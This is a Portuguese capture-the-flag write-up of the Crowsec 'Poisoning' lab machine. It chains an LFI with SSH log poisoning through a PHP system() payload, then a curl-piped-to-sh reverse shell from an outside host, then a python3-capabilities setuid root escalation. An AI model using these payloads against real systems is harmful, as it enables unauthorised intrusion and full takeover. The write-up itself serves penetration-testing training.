Crowsec Poisoning WriteUp
10
1

Crowsec Poisoning WriteUp

Passo a passo de como resolver a maquina Poisoning da Crowsec.

Roberto Francisco
2 min
10
1
Email image

A máquina Poisoning é disponibilizada no laboratório da Crowsec, ou seja, para poder ter acesso a essa máquina é preciso ser aluno do Webhacking-na-pratica 2.0.

A máquina está classificada como nível Fácil e seu sistema operacional é Linux.

Reconhecimento

O primeiro passo é descobrir quais os serviços que estão sendo executados na máquina, para isso utilizei o Nmap com os seguintes parâmetros:

Nmap -sV -vvv <IP-da-Maquina>

e obtive o seguinte resultado:

Email image

Então decidir olhar o serviço http na porta 80.

Email image

Comecei a interagir com a aplicação, e encontrei duas páginas com conteúdo similar.

  • http://<IP-Maquina>/index.php
  • http://<IP-Maquina>/page.php

Depois de algumas interações, resolvi fazer um fuzzing de parâmetros, com o seguinte comando:

ffuf  -c  -w common.txt -u http://<IP-Maquina>/index.php?FUZZ=link -fs 39277

Descobrir o seguinte parâmetro:

Email image

Então decidir passar o /etc/passwd como valor do parâmetro, e descobrir que se tratava de um LFI. O output do arquivo é colocado no código fonte da página.

Email image

Explorando o LFI

Com o LFI encontrado, mudei o valor do parâmetro para /var/log/auth.log. O arquivo auth.log é um arquivo de log de autenticação do ssh.

Email image

Como ele está refletindo na página, eu decidir injetar código php via ssh e ver o que acontece.

ssh ‘<?php system($_GET[‘cmd’]);?>@’IP-Maquina’

voltei na aplicação e fiz a seguinte requisição via browser.

https://<IP-Maquina>/index.php?page=/etc/passwd&cmd=id

eee

Email image

Peguei uma web shell. 

Email image

Conseguindo uma reverse shell

Executei o netcat com o comando:

netcat -lnvp 1337

e alterei o valor do parâmetro cmd para

curl https://reverse-shell.sh/<Meu-IP>:1337 | sh

e enviei a requisição para o servidor, voltei no netcat eee

Email image

Peguei a reverse shell.

Usei o comando cd / e depois ls -lav

Email image

Encontrei a flag do usuário.

Email image

Escalação de privilégios

Usei o comando get -r / 2>/dev/null e encontrei algo bastante interessante

Email image

O binário do python3 estava com capabilities ativado, usei o seguinte comando para explorar

python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

e conseguir elevar meus privilégios para root

Email image

Executei os comandos cd /root e ls -lav e encontrei a flag de root

Email image
Email image

Finalizando assim mais uma maquina da Tropa

Considerações Finais

O comprometimento da máquina Poisoning, deu em consequência do parâmetro page do index.php permitir valores vindo do usuário, e uma péssima configuração de permissão, permitindo o usuário www.data ler o arquivo auth.log.

A escalação de privilegio ocorreu devido o python3 está com o capabilities configurado, concedendo-lhe privilégios de root